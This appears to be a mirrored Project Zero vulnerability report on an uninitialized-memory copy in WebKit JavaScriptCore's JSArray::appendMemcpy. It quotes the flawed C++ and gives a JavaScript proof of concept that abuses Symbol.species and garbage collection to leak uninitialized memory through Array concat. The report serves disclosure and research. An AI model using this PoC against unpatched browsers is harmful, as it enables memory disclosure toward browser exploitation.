74 lines
No EOL
2.1 KiB
HTML
74 lines
No EOL
2.1 KiB
HTML
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1236
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WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy
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Here's a snippet of JSArray::appendMemcpy.
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bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
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{
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auto scope = DECLARE_THROW_SCOPE(vm);
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if (!canFastCopy(vm, otherArray))
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return false;
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IndexingType type = indexingType();
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IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());
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if (type == ArrayWithUndecided && copyType != NonArray) {
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if (copyType == ArrayWithInt32)
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convertUndecidedToInt32(vm);
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else if (copyType == ArrayWithDouble)
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convertUndecidedToDouble(vm);
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else if (copyType == ArrayWithContiguous)
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convertUndecidedToContiguous(vm);
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else {
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ASSERT(copyType == ArrayWithUndecided);
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return true;
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}
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} else if (type != copyType)
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return false;
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...
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if (type == ArrayWithDouble)
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memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
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else
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memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);
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return true;
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}
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The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.
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So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.
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PoC:
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-->
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function optNewArrayAndConcat() {
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let a = [,,,,,,,,,];
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return Array.prototype.concat.apply(a);
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}
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function main() {
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Array.prototype.constructor = {
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[Symbol.species]: function () {
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return [{}];
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}
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};
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gc();
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for (let i = 0; i < 0x10000; i++) {
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optNewArrayAndConcat().fill({});
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}
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gc();
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for (let i = 0; i < 0x20000; i++) {
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let res = optNewArrayAndConcat();
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if (res[0])
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print(res.toString());
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}
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}
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main(); |